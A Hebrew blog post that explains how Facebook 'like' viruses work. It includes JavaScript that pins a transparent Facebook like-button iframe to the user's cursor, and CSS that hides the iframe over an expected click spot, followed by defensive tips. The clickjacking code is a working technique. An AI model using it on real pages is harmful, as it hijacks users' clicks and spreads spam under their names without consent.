איך וירוסים בפייסבוק עובדים?

שוב נכנסתם לדף מפוקפק וראיתם בפיד הפייסבוק שלכם שעשיתם לייק ל'בר רפאלי ערומה'? ככה עשו לכם את זה.

כולנו מכירים את זה, אנחנו גולשים להנאתנו בפייסבוק ופתאום בפיד רואים שאדם מכובד כלשהו עושה לייק למשהו מביך. כמה מביך?
פרופסור פון פדהוצרשטיין אהב את He licked her by mistake (במקרה הטוב) או "הרב אליקים אהב את בר רפאלי ערומה! רואים לה הכל!!1" (במקרה הפחות טוב).

הדבר האתי לעשות, אחרי הגיחוך, הוא לשלוח מסר לאיש ולומר לו שהוא נדבק בוירוס בפייסבוק ושיבצע הסרה לדפים האלו מהפיד שלו באופן ידני. עולה השאלה – איך בדיוק זה עובד? על זה בדיוק אני רוצה לכתוב במאמר הזה.

ראשית, אנחנו צריכים ליצור תוכן ויראלי כלשהו, משהו שאנשים ירצו ללחוץ עליו (אך לא בטוח שירצו לחשוף שלחצו עליו). משהו בסגנון של – בר רפאלי ערומה! (עם הקוראת בר רפאלי הסליחה, אבל השם שלך באמת מוכר). מדובר בדף HTML פשוט שיכול להיות בו סרטון או איזושהי התחכמות אחרת.

אנחנו צריכים לגרום לגולש להכנס לדף ולעשות לו 'לייק'. די ברור שכל קורא סטרייט יתפתה להכנס לדף הזה, אבל לייק? גם אם ישימו לי אקדח לראש אני לא אודה בפני הפיד היקר שלי שכולל את אשתי וילדי שאני התעניינתי בבר רפאלי בעירום. העניין הוא לבצע את הלייק על מנת שבפני הפיד של הלקוח יופץ הסרטון ויגרום לעוד ועוד אנשים לבצע לייק. את הפעולה של הלייק אפשר לבצע בשתי דרכים פשוטות מאד. הראשונה היא clickjacking והשניה, היותר פשוטה, היא מיסוך באמצעות CSS.

הערת אזהרה מתבקשת: אל תשתמשו בקוד כאן על מנת ליצור וירוס בפייסבוק. אם אתם מספיק מטומטמים בשביל לעשות את זה, אל תגדילו את הטמטום ותפנו אלי בבקשה לעזור לכם לייצר את הוירוס הזה.

Clickjacking

באופן עקרוני, ביצוע של clickjacking עובד ככה:

1. המשתמש לוחץ על משהו בדף שלנו (כמו כפתור ה-Play של הסרטון).
2. אנו חוטפים את הקליק ומשתמשים בו לכפתור הלייק שלנו.
3. התוכן מופיע בפיד של המשתמש.
4. משתמשים נוספים מתפתים להכנס לדף וחזרה לסעיף 1.

איך עושים את זה? בקלות! סקריפט קטן של JavaScript מצמיד את כפתור הלייק לסמן העכבר של המשתמש, ברגע שהמשתמש לוחץ באיזשהו מקום בדף – יש לנו לייק!

והנה הדמו המיוחל – שימו לב שבדמו כפתור הלייק מוצג בפני המשתמש לשם ההדגמה – בפועל, הכפתור יהיה שקוף ולמשתמש לא יהיה שום מושג שבמקום ללחוץ על לחצן ה-play, הוא לוחץ על לייק ומעכשיו הדף הויראלי נמצא בפיד שלו.

הקוד הוא פשוט ביותר, יוצרים כפתור לייק מבוסס iframe. יוצרים אירוע של הזזת עכבר ובאמצעותו מצמידים את כפתור הלייק שלנו אל העכבר של המשתמש. זה הכל, ברגע שהמשתמש עושה קליק, תפסנו אותו.


		(function(){
			  var tempX = 0,
			  tempY = 0;
			  
			  var hiddenLike = document.createElement('iframe');
			  hiddenLike.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(document.location.href) + '&locale=en_US&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80';
			  hiddenLike.scrolling = 'no';
			  hiddenLike.frameBorder = 0;
			  hiddenLike.allowTransparency = 'true';
			  hiddenLike.style.border = 0;
			  hiddenLike.style.overflow = 'hidden';
			  hiddenLike.style.cursor = 'pointer';
			  hiddenLike.style.width = '40px';
			  hiddenLike.style.height =  '20px';
			  hiddenLike.style.position = 'absolute';
			  hiddenLike.style.opacity = .85; //Would be 0 if really hidden
			  document.getElementsByTagName('body')[0].appendChild(hiddenLike);
			  
			  window.addEventListener('mousemove', mouseMove, false);
			  
			  
			  function mouseMove(e) {

				  tempX = e.pageX;
				  tempY = e.pageY;
				
				if (tempX < 0) tempX = 0;
				if (tempY < 0) tempY = 0;
				
				hiddenLike.style.top = (tempY - 8) + 'px';
				hiddenLike.style.left = (tempX - 20) + 'px';
				
				return true
			  }
		})();

CSS

זה טריק אפילו עוד יותר קל ונחמד – פשוט ממקמים את ה-iframe במקום שבו אנו בטוחים שהמשתמש ילחץ ומחביאים אותו באמצעות פרמטר opacity. האם יש משהו קל ופשוט מזה? הנה הדוגמה החיה . שימו לב ששם עשיתי את כפתור הלייק חצי שקוף לשם ההמחשה.

קוד ה-CSS נראה בערך ככה:


			#myIframe {
				position: absolute;
				top: 232px;
				right: 115px;
				opacity: 0.85; /* Would be 0 if really hidden */
			}

ואני מצמיד אותו ל-iframe כמובן.

מכאן – הכל פתוח בהתאם לרצון של מי שרוצה לייצר את הדף. אפשר לבצע בדיקה מי עשה לייק ואז להציג בפני המשתמשים את התוכן הרלוונטי או לעולל תעלולים נוספים.

דרכי התגוננות

אחרי שמבינים איך זה עובד, קל להתגונן – פשוט לא ללחוץ בשום מקום באתרים מפוקפקים שהגעתם אליהם דרך פייסבוק. אם אתם ממש רוצים לראות את הסרטון, הכנסו באמצעות דפדפן שאינו מחובר לפייסבוק (למשל כרום במצב פרטיות). בכל מקרה, תמיד אפשר להכנס אל ה-Activity Log ולמחוק משם את הדף הסורר ולדווח עליו כספאם.

פוסטים נוספים שכדאי לקרוא

רספברי פיי

התקנת OpenCanary על רספברי פיי

מה זה OpenCanary ואיך אפשר להתקין אותה על רספברי פיי ולשדרג את אבטחת הרשת הביתית או המשרדית.

רספברי פיי

הרצת גו על רספברי פיי

עולם הרספברי פיי והמייקרים ניתן לתפעול בכל שפה – לא רק פייתון או C – כאן אני מסביר על גו

בינה מלאכותית

Safeguards על מודל שפה גדול (LLM)

פוסט בשילוב עם פודקאסט וסרטון על ההגנות שאפשר להציב על LLM בסביבת פרודקשן

DALL·E 2024-09-06 12.34.24 - A visually engaging post about Python and cryptographic problems. The image should feature a dark-themed background with a glowing, futuristic Python
פתרונות ומאמרים על פיתוח אינטרנט

בעיות במימוש של פונקציות קריפטוגרפיות בפייתון

היום (16 לספטמבר) ממש, אני מעביר הרצאה ב-PyconIL 2024 על בעיות קריפטוגרפיות באפליקציות פייתון. לצערי אי אפשר להכניס את כל הבעיות הקריפטוגרפיות להרצאה אחת או

גלילה לראש העמוד